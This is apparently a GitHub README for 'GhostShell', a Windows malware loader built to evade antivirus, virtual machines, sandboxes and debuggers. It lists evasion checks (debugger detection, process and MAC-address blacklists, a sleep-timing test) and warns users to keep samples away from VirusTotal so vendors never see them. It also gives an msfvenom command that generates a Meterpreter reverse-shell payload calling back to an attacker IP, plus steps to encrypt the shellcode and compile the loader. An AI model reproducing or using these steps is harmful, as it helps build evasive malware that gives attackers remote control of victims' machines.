GhostShell: bypass the AVs, VMs, and Sandboxes
GhostShell
In this malware, are used some techniques to try to bypass the AVs, VMs, and Sandboxes, with only the purpose to learning more.
💣 Bypass Techniques
Anti-Debugger
To try bypass the Debuggers, I’m using the “IsDebuggerPresent()” of “Windows.h” librarie to checks if a debugger is running.
Anti-VM / Anti-Sandbox / Anti-AV
- Enumerate Process Function
Enumerates all processes running on the system, and compares to the process in the black-list if found a process and this is equal to any process in the black-list returns -1 (identified).
- Sleep Acceleration Check Function
First, gets the current time, and sleeps 2 minutes, then, gets the time again, and compare, if the difference is less than 2, returns -1 (identified).
- Mac Address Check Function
Gets the system mac address and compare to the macs, in the black-list, if the system mac address is equal to any mac in the black-list returns -1 (identified).
⚠️ Attention!!!
To check if the antivirus is detecting the malware, NEVER send it to the virustotal, IT WILL BE SENT TO THE ANTIVIRUS COMPANIES AND WILL BE BROKEN, to analyze, send it to https://www.hybrid-analysis.com/ and remember to check the option “Do not send my sample to non-affiliated third parties”, as in the example below.
Download
git clone https://github.com/ReddyyZ/GhostShell.git
Use
To generate the shellcode type in the terminal: msfvenom -p windows/meterpreter/reverse_shell lhost=(IP) lport=(PORT) -f c, copy the shellcode generated and encrypt it.
To encrypt shellcode use the encrypt_shellcode script.
On Linux type: ./encrypt_shellcode e “(KEY, ex: “\xda\xe6\x1d\x5c\x9v\x8d”) “(shellcode)””
On windows type: encrypt_shellcode.exe e “(KEY, ex: “\xda\xe6\x1d\x5c\x9v\x8d”) “(YOUR_SHELLCODE)””
To compile for Windows on Linux, first, install mingw-w64: sudo apt-get install mingw-w64, then, to compile for 32 bits: i686-w64-mingw32-gcc -o main.exe main.c -l psapi -static, and to 64 bits: x86_64-w64-mingw32 -o main.exe main.c -l psapi -static
Copyright (c) 2020 ReddyyZ
Source: https://github.com/ReddyyZ/